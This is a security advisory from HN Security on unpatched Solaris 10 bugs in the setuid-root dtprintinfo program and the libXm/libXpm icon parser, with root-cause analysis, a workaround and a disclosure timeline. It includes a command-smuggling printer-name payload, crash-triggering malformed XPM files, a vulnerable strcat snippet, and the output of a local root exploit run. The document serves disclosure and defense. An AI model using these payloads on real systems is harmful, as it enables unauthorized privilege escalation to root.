Solaris 10 dtprintinfo / libXm / libXpm Security Issues

--[ HNS-2022-01 - HN Security Advisory - https://security.humanativaspa.it/* Title: Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm* Products: Common Desktop Environment 1.6, Motif 2.1, X.Org libXpm < 3.5.15* OS: Oracle Solaris 10 (CPU January 2021)* Author: Marco Ivaldi <[email protected]>* Date: 2023-01-18* Oracle vulnerability tracking numbers:  * S1597707 - Arbitrary printer name injection  * S1597724 - Heap memory disclosure via long printer names  * S1597711 - Memory corruption via malformed icon files  * S1597730 - Stack-based buffer overflow in libXm ParseColors* CVE IDs:  * CVE-2022-46285 - Infinite loop on unclosed comments in X.Org libXpm* Advisory URLs:   * https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt  * https://lists.x.org/archives/xorg-announce/2023-January/003312.html  * https://lists.x.org/archives/xorg-announce/2023-January/003313.html* Exploit URLs:  * https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c--[ 0 - Table of contents1 - Summary2 - Vulnerabilities    2.1 - Arbitrary printer name injection    2.2 - Heap memory disclosure via long printer names    2.3 - Memory corruption via malformed icon files    2.4 - Stack-based buffer overflow in libXm ParseColors()3 - Analysis    3.1 - Printer name injection and heap memory disclosure    3.2 - Memory corruption via malformed icon files4 - Exploitation5 - Affected products6 - Remediation7 - Disclosure timeline8 - References--[ 1 - Summary"What has been will be again, what has been done will be done again; there is nothing new under the Sun."                    -- Ecclesiastes 1:9We have identified multiple security vulnerabilities that are exploitablevia the the setuid-root dtprintinfo binary from the Common DesktopEnvironment (CDE) distributed with Oracle Solaris 10 (CPU January 2021):* A bug in the parser of the lpstat external command invoked by dtprintinfo  to list the names of available printers allows low-privileged local users  to inject arbitrary printer names via the $HOME/.printers file.* Printer name injection allows low-privileged local users to manipulate  the control flow of the target program and disclose memory contents.  Based on our analysis, this bug does not seem to be directly exploitable  to achieve arbitrary code execution. However, we recommend treating it as  a potential security vulnerability and fix it as such.* The ability to inject arbitrary printer names opens other attack vectors  that otherwise would not be available on systems without configured  printers. As an example, we discovered multiple icon parsing bugs in the  Motif library libXm that cause memory corruption.We demonstrated the possibility to exploit one of these memory corruptionbugs, a stack-based buffer overflow in the ParseColors() function of libXm,to achieve local privilege escalation to root on Solaris 10.--[ 2 - VulnerabilitiesFollowing our last CDE vulnerability disclosures [1], Oracle kindly sharedwith us a copy of their then current Solaris 10 security patch set (CPUJanuary 2021), so that we could install it in our lab and verify the fixesfor the bugs we had reported.In addition to verifying these fixes, we decided to take a closer look atthe dtprintinfo program distributed with CDE, because of its complexity andits impressive historical record of high-impact vulnerabilities [2]. Theseare the results of our research.--[ 2.1 - Arbitrary printer name injectionAfter fruitlessly spending a few days reversing and auditing the patchedversion of dtprintinfo, we came up with the idea of using the poor man'sfuzzer below to quickly check for the presence of flaws in the parsing ofthe $HOME/.printers file:bash-3.2$ cat /dev/urandom > ~/.printers^CIndeed, this led to immediate results. It turns out that it is possible toinject fake printers to be displayed by dtprintinfo. To do so, we need tocraft a .printers file that contains at least one line in the followingformat:<string><space>:<\n>Where <string> can be any string, including most special characters, and<space> can either be a space (0x20) or a tab (0x09) character. Forinstance, the following line will inject a fake printer named "FOO":FOO :Since dtprintinfo uses printer names as arguments for some externalcommands that it invokes, it is possible to abuse this flaw to injectarbitrary commands. For instance, to execute an injected command when wedouble-click on a printer icon in the X11 GUI, we can craft a .printersfile that contains lines such as the following (space and tab characterscannot be used in the injected command string for obvious reasons):FOO;/usr/bin/id>/tmp/pwned; :BAR;/usr/bin/cat</tmp/PAYLOAD; :Unfortunately for us attackers, dtprintinfo fork()s and permanently dropsroot privileges via setuid() before running external commands. Therefore,the injected commands are executed with regular user privileges. This meanswe can only abuse the described printer name injection bug to trigger anadditional second-order vulnerability, if such a vulnerability exists.Here's a couple of ideas we have experimented with to no avail:* Use the "cat<PAYLOAD" pattern above to trigger either an integer  overflow, a buffer overflow, or a format string bug.* Inject a printer name that contains a format string or a directory  traversal payload to trigger some other bug down the line.The third obvious idea is to inject a long printer name and see whathappens. What happened in our case is that we were able to trigger anout-of-bound read and disclose partial heap memory contents of our targetsetuid-root binary.--[ 2.2 - Heap memory disclosure via long printer namesTo reproduce this bug, first craft a malicious .printers file as followsand create a hardlink to it named .printers.new, to prevent renaming by theDtConfigPrinters::renameUserPrinterSelectionFile() method that gets calledwhile dtprintinfo is initializing queues in DtApp::UpdateQueues():bash-3.2$ echo "FOO;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; :" > ~/.printersbash-3.2$ ln ~/.printers ~/.printers.newThen, trace dtprintinfo's execution via a setuid-root truss program to logaccess to interesting memory addresses:bash-3.2$ export DISPLAY=:0bash-3.2$ truss -fae -u '*' -u a.out /usr/dt/bin/dtprintinfo -all 2> OUTAt this point, in dtprintinfo's GUI:* Select "View" > "Select Printers to Show..." from the menu.* Select the injected printer to be shown.* Click on "Apply" and then click on "OK".* Select "Printers" > "Exit" from the menu, closing dtprintinfo.Now, examining the .printers file modified by dtprintinfo while it wasrunning, we can notice that it contains non-printable characters, which arein fact leaked heap memory contents. For instance:bash-3.2$ od -x ~/.printers0000000 615f 6c6c 5c20 460a 4f4f 413b 4141 41410000020 4141 4141 4141 4141 4141 4141 4141 4141*0001000 4141 4141 4141 4141 4141 3b41 0a2c 41410001020 4141 4141 4141 4141 4141 4141 4141 4141*0001400 4141 4141 4141 4141 4141 4141 4141 e9480001420 0810 6938 0810 0409 410a 4141 4141 4141             ^^^^^^^^^                          << 0x081069380001440 4141 4141 2c3b 000a0001447By observing the output of truss, we can find the example leaked memoryaddress highlighted above:-> __0fJContainerLInnerWidgetv(0x8105ea8)<- __0fJContainerLInnerWidgetv() = 0x8106938                                   ^^^^^^^^^-> libXm:_XmManagerGetValuesHook(0x8106938, 0xfe6a1820, 0x8047840)                                 ^^^^^^^^^...-> __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec(0x8106d60, 0x8105ea8, 0x8086c3f, 0x0)  -> __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD(0x8106d60, 0x8106938, 0xfe62bd00, 0x8106dd0)                                                            ^^^^^^^^^By playing with different printer name lengths between 256 and 1024 bytesand/or clicking on "Apply" or "OK" multiple times, we can leak differentheap memory contents. The "Set Default" button can be used to cause a similar .printers filecorruption. In addition, instead of injecting a single long printer name,we can trigger the same bug by injecting a long list of regular printernames and selecting them to be shown in dtprintinfo's GUI.--[ 2.3 - Memory corruption via malformed icon filesThe ability to inject arbitrary printer names opens other attack vectorsthat otherwise would not be available on systems without configuredprinters. In fact, only privileged users can create or update printingconfiguration in /etc/printers.conf, usually via /usr/sbin/printmgr or/usr/bin/lpset.One such vector we thought that was worth exploring is the parsing ofprinter icons in the XPM format [3]. A low-privileged local user can supplyhis or her own icons for dtprintinfo to show by placing them in the$HOME/.dt/icons directory and selecting them in the X11 GUI. A bug in theXPM parser could easily lead to memory corruption and privilege escalation.To prove our point, we built a rudimentary mutation fuzzer written inPython and we unearthed a few icon parsing bugs in the libXm library(/usr/dt/lib/libXm.so.4) used by CDE, that was originally part of the Motiftoolkit [4].As a starter, the following malformed icon file with an unbalanced commentblock will crash dtprintinfo:/* XPM */static char * sample_xpm[] = {"15 19 6 1","       c None",".      c #FFFFFF","+      c #000000","@      c #99FFCC","#      c #66CCCC","$      c #339966",/* CRASH".+++++++++++++.","+@@@@@@@@@@@@#+","+@###########$+","+@###....####$+","+@##......###$+","+@#...$$...##$+","+@#..$$##..$#$+","+@##$$##...$#$+","+@#####...$$#$+","+@####...$$##$+","+@####..$$###$+","+@####..$####$+","+@#####$$####$+","+@####..#####$+","+@####..$####$+","+@#####$$####$+","+@###########$+","+#$$$$$$$$$$$$+",".+++++++++++++."};To reproduce the crash, inject an arbitrary printer as described earlierand perform the following actions:* Craft the malformed XPM icon above in the following files in ~/.dt/icons:  crash.l.pm  crash.m.pm  crash.t.pm* Launch dtprintinfo with proper command-line options (e.g., -all).* Select the injected printer, and click on "Selected" > "Properties...".* Click on "Find Set..." and choose "~/.dt/icons" from the drop-down menu.After a short while, dtprintinfo should segfault:Program terminated with signal 11, Segmentation fault.#0  0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4(gdb) x/i $pc0xfed322c8 <ParseComment+186>:  mov    (%edi),%ah(gdb) i reax            0x8045bff        134503423ecx            0x80456f0        134502128edx            0xfe972be0       -23647264ebx            0xfee90000       -18284544esp            0x8024fbc        0x8024fbcebp            0x8024fdc        0x8024fdcesi            0x7      7edi            0xfeffffff       -16777217eip            0xfed322c8       0xfed322c8 <ParseComment+186>...(gdb) bt#0  0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4#1  0xfed321dc in _XmxpmNextString () from /usr/dt/lib/libXm.so.4#2  0xfed3392a in ParsePixels () from /usr/dt/lib/libXm.so.4#3  0xfed32511 in _XmxpmParseData () from /usr/dt/lib/libXm.so.4#4  0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4#5  0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1#6  0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1#7  0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()#8  0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()#9  0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()#10 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()#11 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()...At a glance, this does not look exploitable. A much better-looking crashcan be triggered with the following malformed icon file:00000000: 2f2a 2058 504d 202a 2f0a 7374 6174 6963  /* XPM */.static00000010: 2063 6861 7220 2a78 6d61 6e5b 5d20 3d20   char *xman[] =00000020: 7b0a 2f2a 2077 6964 7468 2068 6569 6768  {./* width heigh00000030: 7420 6e63 6f6c 6f72 7320 6368 6172 735f  t ncolors chars_00000040: 7065 725f 7069 7865 6c20 2a2f 0a22 3820  per_pixel */."800000050: 3820 3320 3122 2c0a 2f2a 2063 6f6c 6f72  8 3 1",./* color00000060: 7320 2a2f 0a22 6520 6734 2062 6c61 636b  s */."e g4 black00000070: 2063 2070 616c 6520 7475 7271 756f 6973   c pale turquois00000080: 6520 3422 2c0a 22fe 206d 2077 6869 7465  e 4",.". m white         ^^ << this 0xfe byte triggers the crash00000090: 2063 206c 6967 6874 2067 6f6c 6465 6e20   c light golden000000a0: 726f 6420 7965 6c6c 6f77 2067 3420 6772  rod yellow g4 gr000000b0: 6579 222c 0a22 6720 6720 7768 6974 6520  ey",."g g white000000c0: 6320 6c65 6d6f 6e20 6368 6966 666f 6e20  c lemon chiffon000000d0: 6d20 626c 6163 6b22 2c0a 2f2a 2070 6978  m black",./* pix000000e0: 656c 7320 2a2f 0a22 6565 6565 6565 6565  els */."eeeeeeee000000f0: 222c 0a22 6666 6666 6666 6666 222c 0a22  ",."ffffffff",."00000100: 6767 6767 6767 6767 222c 0a22 6767 6767  gggggggg",."gggg00000110: 6767 6767 220a 7d3b 0a                   gggg".};.Program terminated with signal 11, Segmentation fault.#0  0x027efed3 in ?? ()(gdb) i reax            0xfe634c80       -27046784ecx            0x3      3edx            0x0      0ebx            0xfee90002       -18284542esp            0x8045668        0x8045668ebp            0x80456d0        0x80456d0esi            0x80460d0        134504656edi            0x80456f0        134502128eip            0x27efed3        0x27efed3...#0  0x027efed3 in ?? ()#1  0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4#2  0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4#3  0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1#4  0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1#5  0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()#6  0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()#7  0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()#8  0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()#9  0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()It looks like we have at least partial control over the eip register! Apromising crash indeed... An interesting variation that can help shed lighton the reasons of this crash can be obtained by replacing the 0xfe bytewith 0xff:Program terminated with signal 11, Segmentation fault.#0  0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4(gdb) x/i $pc0xfed20268 <_XmxpmFreeColorTable@plt>:  jmp    *0x19ec(%ebx)(gdb) i reax            0xfe62d680       -27076992ecx            0x3      3edx            0x0      0ebx            0x20000  131072esp            0x8045668        0x8045668ebp            0x80456d0        0x80456d0esi            0x80460d0        134504656edi            0x80456f0        134502128eip            0xfed20268       0xfed20268 <_XmxpmFreeColorTable@plt>...#0  0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4#1  0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4#2  0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4#3  0xfeef9ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1#4  0xfeef9b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1#5  0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()#6  0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()#7  0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()#8  0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()#9  0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()Based on our quick analysis, ebx gets corrupted in ParsePixels() and thenits value is used to calculate a jump location by code in the .plt section.We have not deeply investigated these instances of memory corruption and wehave not seriously fuzzed libXm's XPM parser. We would like to leavefurther exploration of this attack vector, as well as any vulnerabilitiesin other libraries used by dtprintinfo, as an exercise for you, dearreaders. ;)--[ 2.4 - Stack-based buffer overflow in libXm ParseColors()After our brief but intense artisanal fuzzing experience, before giving upon dtprintinfo and going for some fancier target, it was time to go back tostatic analysis for a short while, specifically targeting the apparentlyweak libXm library.We fired up our Rhabdomancer Ghidra script [5] to quickly find locations inthe library where unsafe API functions are called, using them as startingpoints for our binary audit. Among some interesting candidate points, thefollowing one stood up, in the familiar ParseColors() function that we hadalready encountered while analyzing the crashes produced by our XPM fuzzer:int ParseColors(int *data, uint ncolors, uint cpp, undefined4  *colorTablePtr, undefined4 hashtable){    ...    char local_83c[1024];    char local_43c[1024];    ...    local_c = _XmxpmNextWord(local_34, local_83c, 0x400);    ...    local_83c[local_c] = '\0';    strcat(local_43c, local_83c); /* VULN */}A perfect specimen of stack-based buffer overflow! We have found yetanother memory corruption bug in the parsing of printer icons in the XPMformat. This one has a high likelihood of being exploitable to achievearbitrary code execution and local privilege escalation.--[ 3 - AnalysisLet's briefly analyze what causes the identified vulnerabilities.--[ 3.1 - Printer name injection and heap memory disclosureThe arbitrary printer name injection and heap memory disclosure bugs havethe following root causes:* The /usr/bin/lpstat external command invoked by dtprintinfo to list the  names of available printers has a flawed parser, which allows  low-privileged local users to inject arbitrary printer names in the  user-controllable $HOME/.printers file:  bash-3.2$ cat ~/.printers  FOO;AAA; :  bash-3.2$ lpstat -v  system for FOO;AAA;: (null) (as lpd://(null)/printers/)  From our point of view, this in itself is not a big deal. Since lpstat is  executed after dropping privileges, we could in theory inject our own  code into this process anyway and control its behavior. For this reason,  we have not investigated lpstat any further. The real problem here is  architectural: dtprintinfo's functionality should be self-contained and  should not depend on external programs. This is not a robust design and  has led to more impactful vulnerabilities in the past [6].* The dtprintinfo program blindly trusts the output of lpstat without  validating it. This allows low-privileged local users to craft  potentially dangerous inputs (such as printer names that are expected to  be in a consistent format), thus altering its behavior.* Finally, the DtConfigPrinters::UpdateMainPrtList() method called by the  DtConfigPrinters::ApplyCB() and DtConfigPrinters::OkCB() callback  methods, when updating the .printers file, writes some additional bytes  after the actual printer names, thus corrupting the file contents. This  is caused by the fact that the DtConfigPrinters::readContinuedLine()  method called by DtConfigPrinters::UpdateMainPrtList() does not terminate  the returned buffer if it reads a line longer than 256 bytes that does  not contain a '\n' character. This non-terminated, heap-allocated buffer  is later passed to fprintf(), which then writes some characters that  reside past the logical end of the buffer to the .printers file, until a  NUL byte is found. This is how we get the observed memory disclosure.Based on our analysis, the described memory disclosure bug does not seem tobe directly exploitable to achieve arbitrary code execution and localprivilege escalation. However, as usual, feel free to prove us wrong! Allconsidered, we recommend treating this bug as a potential securityvulnerability and fixing it as such.--[ 3.2 - Memory corruption via malformed icon filesThe stack-based buffer overflow in the ParseColors() function of libXm iscaused by the unchecked use of the unsafe API function strcat(). Thisvulnerability can be triggered via a specially crafted XPM icon with longcolor strings.We have not spent much time analyzing the root causes of the crashesreported by our XPM fuzzer. We recommend extensively auditing and fuzzinglibXm and the other libraries distributed with CDE that are used byprivileged programs. A quick manual audit and a few runs of our rudimentarymutation fuzzer were enough to discover some shallow and dangerous memorycorruption bugs in the XPM parser. We expect more bugs to be present insuch ancient code.--[ 4 - ExploitationWe have created a proof-of-concept exploit [7] that chains together theprinter name injection bug and the stack-based buffer overflow we haveidentified in libXm. It allows a low-privileged local user to escalate hisor her privileges to those of the root user on Intel-based Solaris 10systems with the latest patches installed (tested on CPU January 2021).The exploit code is extensively commented and should be self-explanatory.An example attack session follows:$ uname -aSunOS nostalgia 5.10 Generic_153154-01 i86pc i386 i86pc$ iduid=54322(raptor) gid=1(other)$ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall$ ./raptor_dtprintlibXmas 10.0.0.109:0raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPECopyright (c) 2023 Marco Ivaldi <[email protected]>Using SI_PLATFORM       : i86pc (5.10)Using stack base        : 0x8047fffUsing safe address      : 0x8045790Using rwx_mem address   : 0xfeffa004Using sc address        : 0x8047facUsing sprintf() address : 0xfefd1250Path of target binary   : /usr/dt/bin/dtprintinfo# iduid=0(root) gid=1(other)Our exploit uses dtprintinfo as an attack vector to abuse one of thevulnerabilities we discovered in libXm and escalate privileges to root.Other vectors are potentially available to local and remote attackers, suchas other setuid or setgid binaries, daemons, and client applications thatuse of the vulnerable library. As an example, the dticon application hasbeen confirmed to be affected by our stack-based buffer overflow.--[ 5 - Affected productsThe Common Desktop Environment 1.6 and Motif 2.1 distributed with OracleSolaris 10 are affected by the vulnerabilities discussed in this advisory.All tests were conducted on the following Solaris 10 system, patched withCPU January 2021:bash-3.2$ showrev -aHostname: nostalgiaHostid: 367f0939Release: 5.10Kernel architecture: i86pcApplication architecture: i386Kernel version: SunOS 5.10 Generic_153154-01OpenWindows version: Solaris X11 Version 6.6.2 14 August 2019...Solaris 10 for the SPARC architecture and older versions of the Solarisoperating system are also likely vulnerable. Oracle Solaris 11.4 does not ship CDE or Motif by default. In addition, inthe xpmParseColors() function of the libXpm library shipped with Solaris11.4, calls to the unsafe strcat() API function were replaced with calls tostrlcat(), which if used properly prevents buffer overflows. Solaris 11.4in its default configuration and libXpm are only affected by the firstcrash we identified, caused by an unbalanced comment block. Please notethat we have not conducted an audit on libXpm, which may contain otherbugs.CDE 2.5.1 [8] is the latest version (at the time of this writing) of theopen-source fork of the Common Desktop Environment. Following our previousvulnerability disclosures, their dtprintinfo binary is not installedsetuid-root anymore. Therefore, CDE 2.5.1 is not directly affected by thevulnerabilities discussed in this advisory. Please note that we have notconducted an audit on the open-source CDE's codebase, which may containother bugs.Motif 2.3.8 [9] is the latest version (at the time of this writing) of theopen-source Motif project that includes the libXm library. In thexpmParseColors() function, calls to the unsafe strcat() API function werereplaced with calls to the STRLCAT() macro, which if used properly preventsbuffer overflows. Therefore, Motif 2.3.8 is not affected by thevulnerabilities discussed in this advisory. Please note that we have notconducted an audit on Motif's codebase, which may contain other bugs.--[ 6 - RemediationOracle assigned the following tracking numbers to our vulnerabilityreports:* S1597707 - Arbitrary printer name injection* S1597724 - Heap memory disclosure via long printer names* S1597711 - Memory corruption via malformed icon files* S1597730 - Stack-based buffer overflow in libXm ParseColorsNo fixes have been issued for Solaris 10. See the disclosure timeline belowfor further details.As a partial workaround, it is possible to remove the setuid bit from thedtprintinfo binary as follows (note that this might prevent it from workingproperly):bash-3.2# chmod -s /usr/dt/bin/dtprintinfo--[ 7 - Disclosure timeline2022-01-18: Oracle was notified via <[email protected]>.2022-01-19: Oracle acknowledged our vulnerability reports.2022-04-20: Asked Oracle to provide an update on the patch release date.2022-04-21: Oracle replied they could not comment on the patch release      date. 2022-09-03: Asked Oracle for an update and informed them of our plan to      publish a detailed advisory and a blog post before the end of      2022.2022-09-12: Oracle replied they are working on the bugs and will be able to      give an update closer to the next CPU, scheduled for October.2022-10-18: Oracle informed us that the vulnerabilities will be fixed in      their CPU of January 2023.2022-12-20: With a surprise move, Oracle informed us that Solaris 10      desktop components have reached EOL and are no longer      supported. Therefore, Oracle will not be releasing patches for      bugs affecting Solaris 10. They will work with X.Org to get a      fix and an advisory released upstream for the first crash we      identified in libXm, which also affects X.Org libXpm. This      denial of service bug will be fixed in Solaris 11.4. As a final      note, it appears that the buffer overflows we discovered in      ParsePixels() and ParseColors() were already reported by Chris      Evans in 2004 and tracked as CVE-2004-0687      (https://security.appspot.com/security/CESA-2004-003.txt). Due      to an incomplete fix, they were not patched in Solaris 10 and      have survived in the code for 19 years! Since no patches for      Solaris 10 will be released, these issues have officially      become #ForeverDay bugs.2023-01-17: X.Org released libXpm 3.5.15, which fixes CVE-2022-46285      (infinite loop on unclosed comments in X.Org libXpm). Oracle      published their CPU January 2023, which unfortunately does not      include fixes for our bugs that affect Solaris 10.2023-01-18: Oracle informed us that Solaris 10 desktop components have      reached EOL at the end of 2019. EOL is documented in support      note 1400676.1, behind the paywall for Oracle's customers with      current support contracts. HN Security published this advisory      and a local privilege escalation exploit.--[ 8 - References[1] https://github.com/0xdea/raptor_infiltrate20[2] https://www.exploit-db.com/search?q=dtprintinfo[3] https://www.xfree86.org/current/xpm.pdf[4] http://www.opengroup.org/desktop/motif.html[5] https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java[6] https://github.com/0xdea/raptor_infiltrate19[7] https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c[8] https://sourceforge.net/projects/cdesktopenv/[9] https://sourceforge.net/projects/motif/Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.